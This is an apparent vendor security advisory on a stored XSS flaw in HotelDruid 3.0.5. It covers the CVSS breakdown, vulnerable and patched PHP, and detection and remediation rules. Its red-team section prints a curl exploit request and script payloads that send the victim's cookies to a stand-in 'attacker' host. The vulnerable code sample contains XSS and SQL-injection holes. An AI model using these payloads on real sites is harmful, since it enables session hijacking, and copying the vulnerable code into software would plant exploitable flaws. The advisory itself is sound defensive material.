CVE-2023-43378
Executive Summary
CVE-2023-43378 is a stored cross-site scripting (XSS) vulnerability identified in HotelDruid v3.0.5, a web-based hotel management application. The flaw resides in the commento1_1 parameter, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. When a victim (e.g., an administrator) views the affected page, the injected payload executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) due to low attack complexity, no privileges required, and user interaction required. No official patch has been released by the vendor, making this a persistent risk for all deployments of HotelDruid 3.0.5.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). HotelDruid is a standalone PHP application distributed via its official website. The risk is limited to direct installations of the vulnerable version.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: Required (UI:R) – victim must view the malicious input.
- Scope: Changed (S:C) – impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. The vulnerability is trivial to exploit but requires user interaction. In a hotel management context, an admin dashboard is a high-value target for session theft.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the commento1_1 parameter, likely used for guest comments or notes. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in the admin interface.
Attack Flow:
- Attacker sends a POST request to the vulnerable endpoint (e.g.,
aggiungi_cliente.phpor similar) with a crafted payload incommento1_1. - The payload is stored in the database without sanitization.
- An administrator views the guest list or reservation details, triggering the payload in their browser.
- The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the page.
Root Cause: Lack of output encoding and input validation. The application likely uses echo $_POST['commento1_1'] or similar without htmlspecialchars() or equivalent.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
$commento = $_POST['commento1_1'];
$sql = "INSERT INTO commenti (testo) VALUES ('$commento')";
mysqli_query($conn, $sql);
// Later in the page:
echo "<div class='commento'>$commento</div>";
?>
Patched Code (PHP):
<?php
$commento = htmlspecialchars($_POST['commento1_1'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO commenti (testo) VALUES (?)");
$stmt->bind_param("s", $commento);
$stmt->execute();
// Later in the page:
echo "<div class='commento'>" . htmlspecialchars($commento, ENT_QUOTES, 'UTF-8') . "</div>";
?>
The patch uses htmlspecialchars() for output encoding and prepared statements for database insertion, preventing both XSS and SQL injection.
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC) Payload:
<script>alert(document.cookie)</script>
Exploit Request (using cURL):
curl -X POST http://target/hoteldruid/aggiungi_cliente.php \
-d "nome=test&cognome=test&commento1_1=<script>fetch('http://attacker/steal?c='+document.cookie)</script>"
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = 'http://attacker/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>
Lab Setup:
- Install HotelDruid v3.0.5 on a local LAMP stack.
- Create a test client with the malicious payload in the
commento1_1field. - Log in as admin and navigate to the client list to trigger the XSS.
Blue Team
Detection Steps:
- Monitor HTTP POST requests to endpoints handling
commento1_1for suspicious patterns (e.g.,<script>,onerror,javascript:). - Inspect database entries in the
commentitable for HTML/script tags. - Use browser developer tools to check for unexpected network requests (e.g., to external domains) when viewing admin pages.
Mitigation:
- Apply input validation: reject or sanitize any input containing HTML tags.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use Web Application Firewall (WAF) rules to block XSS payloads.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/hoteldruid/aggiungi_cliente.phpor similar withcommento1_1containing<script>tags. - Outbound HTTP requests from the server to unknown domains (e.g.,
attacker.com/steal).
- POST requests to
- File IOCs:
- Modified database entries in the
commentitable containing JavaScript. - Log entries showing
commento1_1with HTML/script content.
- Modified database entries in the
- Behavioral IOCs:
- Unexpected admin session activity (e.g., changes to hotel settings without admin knowledge).
- Unusual cookie values or session tokens.
Detection Engineering
YARA Rule
rule CVE_2023_43378_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2023-43378 in HotelDruid"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-43378"
strings:
$payload1 = /commento1_1=.*<script>/ nocase
$payload2 = /commento1_1=.*onerror=/ nocase
$payload3 = /commento1_1=.*javascript:/ nocase
condition:
any of them
}
Sigma Rule
title: CVE-2023-43378 HotelDruid XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with XSS payloads in the commento1_1 parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: commento1_1
cs-uri-query|re: (?i)(<script|onerror|javascript:)
condition: selection
falsepositives:
- Legitimate use of HTML in comments (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-43378 HotelDruid XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"commento1_1"; http_client_body; pcre:"/(?i)(<script|onerror|javascript:)/R"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable feature: If possible, remove or disable the
commento1_1input field in the application code. - Apply a WAF rule: Block POST requests containing
<script>oronerrorin thecommento1_1parameter. - Manual code fix: Add
htmlspecialchars()to all output of user-supplied data, especially in the comment display section.
Long-term Fix:
- Upgrade to a patched version of HotelDruid if the vendor releases one.
- Conduct a full security audit of the application for similar vulnerabilities.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter malicious input:
location /hoteldruid/ {
if ($args ~* "commento1_1=.*<script") {
return 403;
}
}
Valters IT
Securing digital frontiers, one CVE at a time.